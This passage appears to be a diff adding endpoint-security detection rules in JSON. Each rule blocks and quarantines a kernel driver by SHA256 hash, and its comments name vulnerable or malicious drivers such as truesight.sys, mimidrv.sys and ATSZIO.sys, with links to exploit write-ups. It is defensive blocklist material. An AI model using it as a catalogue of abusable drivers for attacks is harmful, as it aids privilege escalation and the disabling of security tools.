+  "comment": "Vulnerable IKARUS anti.virus Driver (aka ntguard.sys and ntguard_x64.sys) [https://www.greyhathacker.net/?p=995, https://www.exploit-db.com/exploits/43139] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93876cc1-b785-53da-8156-ccef9d16df3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604464Z",
+  "creation_date": "2026-03-23T11:45:29.604466Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604472Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8aeb50a115b4d35f15f876eb1a6e5ee5f3a142de12eec50b6bdf81196ffbea4",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93994cca-607b-5ef0-b432-9fa288fde46e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495707Z",
+  "creation_date": "2026-03-23T11:45:31.495709Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495714Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "92def912354238e7a5c2ad0184f27b4fbbba1b7d6a8741aa9677ce3bf13785d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93b266cc-084b-554f-8e3e-14e3fb27b0ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826244Z",
+  "creation_date": "2026-03-23T11:45:30.826246Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826252Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fcc4501b82401f4c01f2b016a258cb7627660d1284ba870ec426e804eeb5d53e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93b34222-eaaf-5c9f-9ab0-f823633e6aa0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820463Z",
+  "creation_date": "2026-03-23T11:45:31.820467Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820475Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8430d5a27a590697fe71308aff46f6fea1482ed110c55014c050642618f58214",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93c08e85-33ba-5ce5-82e2-fb4ba445273f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822918Z",
+  "creation_date": "2026-03-23T11:45:31.822921Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822929Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65972828f8ccff5b09940cf0336d0ca4b812222e53f1718d974d06bedfa074cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93c42949-b058-560e-8022-5e25fd5e3afd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976570Z",
+  "creation_date": "2026-03-23T11:45:29.976572Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976577Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "565733b6e6d8f7b9661f04a3b4f29372f5dec080512551204b92ac4916a144cb",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93cd02e4-7528-581b-a8c4-f804497884ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473763Z",
+  "creation_date": "2026-03-23T11:45:31.473767Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d1e408acb91b4053ed463244bf095670e12cc28d0fee927a638451ae049fcdc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93cd1e20-2585-5ce5-9a46-45ce6c7a93c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829812Z",
+  "creation_date": "2026-03-23T11:45:31.829815Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829824Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac9a215dc3bec6b9f987bae02fdb90f14ec3ef8a0490b48c40f5317691ee4898",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93d0c301-7e70-58b0-93ce-0cb85870abac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835518Z",
+  "creation_date": "2026-03-23T11:45:30.835520Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835526Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f38eb237a6e698b504a8763a6cb0223726b17807969a12bc6bd17f66057cd42",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93e6eecd-85dc-5322-9ac2-a7b7d21654b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985216Z",
+  "creation_date": "2026-03-23T11:45:29.985218Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985223Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b11aa02ee9e5cb9b6d20aff4f548187f6095b63c5a6215c08b8c2ae69a7a62c",
+  "comment": "Dangerous Physmem Kernel Driver (aka HwRwDrv.Sys) [https://www.loldrivers.io/drivers/e4609b54-cb25-4433-a75a-7a17f43cec00/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93f19e7d-1c83-5522-9e96-8d8c7802bbc3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833345Z",
+  "creation_date": "2026-03-23T11:45:30.833348Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c348b0d8d702748fa01443cc735b14de2ad65820f7218f9ffd02692d7eee626a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93f3d45a-0b98-5d5c-8952-d5f790d719eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832115Z",
+  "creation_date": "2026-03-23T11:45:30.832117Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832123Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5238c3912c3969d9a005e2525d501a55d177961529b29a54e4d97d235cc65913",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93feb702-d1ab-54f5-a2e6-5e2b746d7468",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477432Z",
+  "creation_date": "2026-03-23T11:45:30.477435Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477444Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "83a1fabf782d5f041132d7c7281525f6610207b38f33ff3c5e44eb9444dd0cbc",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "93fedf1e-2b94-5a02-a62d-3dcea9a8cd21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490084Z",
+  "creation_date": "2026-03-23T11:45:31.490086Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490092Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dff9d896a6d9c5e4ad62212f502035c481062a9b7c19fd54658fead161d6a371",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9409edb9-580f-55a9-be15-3069f798b8e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976982Z",
+  "creation_date": "2026-03-23T11:45:29.976984Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976990Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "762989dc8ea7a6c5928254676052343ab1a15be2fd5ec3ded5f72487127ee590",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "94129283-00ce-5d94-a24d-75ab2897182c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975343Z",
+  "creation_date": "2026-03-23T11:45:29.975345Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975350Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a076e66065161bdca4680f0f3a3d0767a25c344fa25cc64473f4ef4f926898ef",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "941f0bfb-c9e8-5e10-a4f3-8a7d5a46eb9e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457478Z",
+  "creation_date": "2026-03-23T11:45:30.457482Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457491Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e1f592533625bf794e0184485a4407782018718ae797103f9e968ff6f0973a1",
+  "comment": "Vulnerable Kernel Driver (aka rtkio64.sys ) [https://www.loldrivers.io/drivers/8d3f27bd-c3fd-48d0-913a-e2caa6fbd025/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "94239da6-2175-5b8d-8a68-df842b72d335",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612403Z",
+  "creation_date": "2026-03-23T11:45:29.612404Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612410Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "673bcec3d53fab5efd6e3bac25ac9d6cc51f6bbdf8336e38aade2713dc1ae11b",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9450e6ff-4fce-5edc-88e9-e035eeb71eac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604283Z",
+  "creation_date": "2026-03-23T11:45:29.604285Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604290Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac76256f8ca6608abe84ca194d46bc581706ecc6813e1abe5fa2b6cc3b4bdade",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "945746b8-d2c9-5696-96c2-fd9626d702c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159288Z",
+  "creation_date": "2026-03-23T11:45:31.159292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159301Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f11891bc187a7a7ce69f67866216c3a3a2579c3ed8c8a011ad61eb5e1e811f80",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9463724d-da4d-5296-b4e0-7f6959991a3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825716Z",
+  "creation_date": "2026-03-23T11:45:31.825718Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825724Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd78008c060e3613053cbccdab514f3622d66bbca32800a00a2c3e7dddf19899",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "946a3ca8-625b-54e3-afb1-08ef8f457652",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469658Z",
+  "creation_date": "2026-03-23T11:45:30.469661Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469671Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77d7a8efe05ab7041fa33280f271edca9fa46c074885de5d03f4cbf343e65f2d",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
